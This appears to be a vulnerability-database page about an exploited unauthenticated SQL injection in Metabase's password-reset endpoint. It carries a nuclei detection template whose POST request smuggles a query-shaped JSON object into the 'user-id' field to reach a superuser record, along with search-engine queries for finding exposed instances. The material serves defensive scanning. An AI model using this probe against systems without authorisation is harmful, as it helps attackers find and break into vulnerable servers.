HexBrain

Browse / CVEs / CVE-2026-72898

CVE-2026-72898· metabase / metabase· CWE-89

Metabase - Unauthenticated SQL Injection

Exploited in the wild. Listed by CISA on 2026-08-11; known to be used by ransomware.

criticalseverity
10CVSS score
98.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.

Impact

Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.

Fix

Update to the latest version of Metabase.

How to confirm it

Send: GET /api/session/properties
Positive when: status_code == 200 and contains(content_type, "json") and contains(body, "\"version\"")
Send: POST /api/session/reset_password
Positive when: status_code == 400 and contains_all(body, "\"errors\"", "\"password\"") and !contains_any(body, "disallowed key", "unexpected key")

Run it with nuclei: nuclei -id CVE-2026-72898 -u <target>

The full check
id: CVE-2026-72898

info:
  name: Metabase - Unauthenticated SQL Injection
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.
  impact: |
    Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.
  remediation: |
    Update to the latest version of Metabase.
  reference:
    - https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf
    - https://securityonline.info/metabase-sql-injection-zero-day-exploited/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-72898
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-72898
    epss-score: 0.98208
    epss-percentile: 0.99915
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.title:"Metabase"
    fofa-query: title="Metabase"
    product: metabase
    vendor: metabase
  tags: cve,cve2026,sqli,metabase,unauth,rce,kev,vkev

flow: |
  http(1);
  if (template["mbtag"]) {
    var p = template["mbtag"].replace(/^v/, "").split(".");
    var major = parseInt(p[0], 10);
    var minor = parseInt(p[1], 10);
    var patch = parseInt(p[2] || "0", 10);
    var fixes = {58: 24, 59: 21, 60: 17, 61: 11, 62: 9, 63: 5};
    if ((major === 0 || major === 1) && fixes[minor] && patch < fixes[minor]) {
      http(2);
    }
  }

http:
  - raw:
      - |
        GET /api/session/properties HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(body, "\"version\"")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: mbtag
        internal: true
        json:
          - ".version.tag"

  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":"1_0000","password":"{{rand_text_alpha(6)}}Aa1!","user-id":{"select":["id"],"from":["core_user"],"where":["=","is_superuser",true],"limit":1}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "\"errors\"", "\"password\"")'
          - '!contains_any(body, "disallowed key", "unexpected key")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from